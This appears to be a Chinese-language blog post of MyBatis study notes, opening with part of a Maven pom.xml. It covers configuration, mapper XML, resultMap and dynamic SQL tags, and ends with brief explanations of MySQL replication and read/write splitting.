<artifactId>lombok</artifactId>
<version>1.18.12</version>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.13</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.9.6</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-jdbc</artifactId>
<version>5.2.0.RELEASE</version>
</dependency>
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis-spring</artifactId>
<version>2.0.5</version>
</dependency>
</dependencies>
<build>
<resources>
<resource>
<directory>src/main/java</directory>
<includes>
<include>**/*.properties</include>
<include>**/*.xml</include>
</includes>
</resource>
<resource>
<directory>src/main/resource</directory>
<includes>
<include>**/*.properties</include>
<include>**/*.xml</include>
</includes>
</resource>
</resources>
</build>

Mybatis 学习总结

基本环境配置

1.Mybatis-config.xml

  • 配置参数按照如此下顺序配置-
  • properties/settings/typeAliases/typeHandlers/objectFactory/objectWrapperFactory/plugins/environments/databaseIdProvider/mappers
  • 所有的*Mapper.xml需要在Mapper中注册
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE configuration
PUBLIC "-//mybatis.org//DTD Config 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-config.dtd">
<configuration>
<environments default="development">
<environment id="development">
<transactionManager type="JDBC"/>
<dataSource type="POOLED">
<property name="driver" value="${driver}"/>
<property name="url" value="${url}"/>
<property name="username" value="${username}"/>
<property name="password" value="${password}"/>
</dataSource>
</environment>
</environments>
<mappers>
<mapper resource="org/mybatis/example/BlogMapper.xml"/>
</mappers>
</configuration>

2.构建sqlsessionFactory

1
2
3
String resource = "org/mybatis/example/mybatis-config.xml";
InputStream inputStream = Resources.getResourceAsStream(resource);
SqlSessionFactory sqlSessionFactory = new SqlSessionFactoryBuilder().build(inputStream);

Sqlsessionactory构建过程

3.*Mapper.xml

  • 命名空间必须指向方法的接口
1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE mapper
PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="org.mybatis.example.BlogMapper">
<select id="selectBlog" resultType="Blog">
select * from Blog where id = #{id}
</select>
</mapper>
  • 于此同时,我们也可以通过注解对一些简单的sql语句映射

    1
    2
    3
    4
    5
    package org.mybatis.example;
    public interface BlogMapper {
    @Select("SELECT * FROM blog WHERE id = #{id}")
    Blog selectBlog(int id);
    }

XML配置

1. properties

  • 加载外部配置文件
1
2
3
4
<properties resource="org/mybatis/example/config.properties">
<property name="username" value="dev_user"/>
<property name="password" value="F2Fa3!33TYyg"/>
</properties>

3.typeAliases

  • 设置别名 可以为每个pojo设置;也可以直接指定包名,mybatis会扫描package下面所有的javabean;也可以通过注解

    1
    2
    3
    <typeAliases>
    <package name="domain.blog"/>
    </typeAliases>

4.environments

  • 尽管可以配置多个数据库环境,但每个SqlsessionFactory只能选择一种环境

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    <environments default="development">
    <environment id="development">
    <transactionManager type="JDBC">
    <property name="..." value="..."/>
    </transactionManager>
    <dataSource type="POOLED">
    <property name="driver" value="${driver}"/>
    <property name="url" value="${url}"/>
    <property name="username" value="${username}"/>
    <property name="password" value="${password}"/>
    </dataSource>
    </environment>
    </environments>

5.mappers

  • 告诉mybatis到哪里寻找配置文件。可以通过直接指定xml文件;也可以通过加载同名class;还可以通过扫描mapper所在的package。

    1
    2
    3
    4
    <!-- 将包内的映射器接口实现全部注册为映射器 -->
    <mappers>
    <package name="org.mybatis.builder"/>
    </mappers>

XML映射文件

  • cache – 该命名空间的缓存配置。

  • cache-ref – 引用其它命名空间的缓存配置。

  • resultMap – 描述如何从数据库结果集中加载对象,是最复杂也是最强大的元素。

    解决pojo中属性名与数据库中列名不想等的情况

    1
    2
    3
    4
    5
    <resultMap id="userResultMap" type="User">
    <id property="id" column="user_id" />
    <result property="username" column="user_name"/>
    <result property="password" column="hashed_password"/>
    </resultMap>
    1
    2
    3
    4
    5
    <select id="selectUsers" resultMap="userResultMap">
    select user_id, user_name, hashed_password
    from some_table
    where id = #{id}
    </select>

    多对一的映射

    1
    2
    3
    4
    5
    6
    7
    8
    <association property="author" javaType="Author">
    <id property="id" column="author_id"/>
    <result property="username" column="author_username"/>
    <result property="password" column="author_password"/>
    <result property="email" column="author_email"/>
    <result property="bio" column="author_bio"/>
    <result property="favouriteSection" column="author_favourite_section"/>
    </association>

    一对多的映射

    1
    2
    3
    <collection property="tags" ofType="Tag" >
    <id property="id" column="tag_id"/>
    </collection>
  • sql – 可被其它语句引用的可重用语句块。

  • insert – 映射插入语句。

  • update – 映射更新语句。

  • delete – 映射删除语句。

  • select – 映射查询语句

动态sql

  • 本质上是sql的拼接
  • 可以通过sql、when、if、foreach等标签进行控制

if:满足条件就拼接

1
2
3
4
5
6
7
8
<select id="findActiveBlogWithTitleLike"
resultType="Blog">
SELECT * FROM BLOG
WHERE state = ‘ACTIVE’
<if test="title != null">
AND title like #{title}
</if>
</select>

choosewhenotherwise:只满足其中的一个条件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<select id="findActiveBlogLike"
resultType="Blog">
SELECT * FROM BLOG WHERE state = ‘ACTIVE’
<choose>
<when test="title != null">
AND title like #{title}
</when>
<when test="author != null and author.name != null">
AND author_name like #{author.name}
</when>
<otherwise>
AND featured = 1
</otherwise>
</choose>
</select>

where:去处第一个满足条件的查询中的and关键字

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<select id="findActiveBlogLike"
resultType="Blog">
SELECT * FROM BLOG
<where>
<if test="state != null">
state = #{state}
</if>
<if test="title != null">
AND title like #{title}
</if>
<if test="author != null and author.name != null">
AND author_name like #{author.name}
</if>
</where>
</select>

foreach:对集合进行遍历,尤其是在IN关键字中

1
2
3
4
5
6
7
8
9
<select id="selectPostIn" resultType="domain.blog.Post">
SELECT *
FROM POST P
WHERE ID in
<foreach item="item" index="index" collection="list"
open="(" separator="," close=")">
#{item}
</foreach>
</select>

缓存技术

mysql主从复制原理

  • 在每个事物更新数据前,Master服务器在二进制日志中记录这些改变,记录完成后Master服务器通知存储引擎提交事务;
  • Slave服务器将Master服务器的日志复制到其中继日志(Relay log)。首先Slave开始一个工作线程I/O,I/O线程在Master上打开一个连接,开始Binary log dump process,Binary log dump process从Master二进制日志中读取时间,如果已经跟上Master,它会睡眠等待Master产生的新事件。I/O线程将这些时间写入
  • SQL slave thread(SQL从线程)从中继日志中读取事件,并重放其中的事件从而更新Slave上的数据,使其与Master一致,只要该线程与I/O线程保持一致,中继日志通常会位于系统的缓存中,所以中继日志开销很小。2020-09-21 20-52-02 的屏幕截图

mysql读写分离原理

  • 读写分离就是在主服务器上写,只在从服务器上读。基本原理是让主数据库处理事务性查询,而从数据库处理select查询。数据库复制被用来把事务性查询导致的变更同步到群集中的数据库。

    基于中间代理层实现:代理一般位于客户端和服务端之间,代理服务器接到客户端请求通过判断转发到后端数据库,这部分通过Amoeba实现。

    2020-09-21 20-54-32 的屏幕截图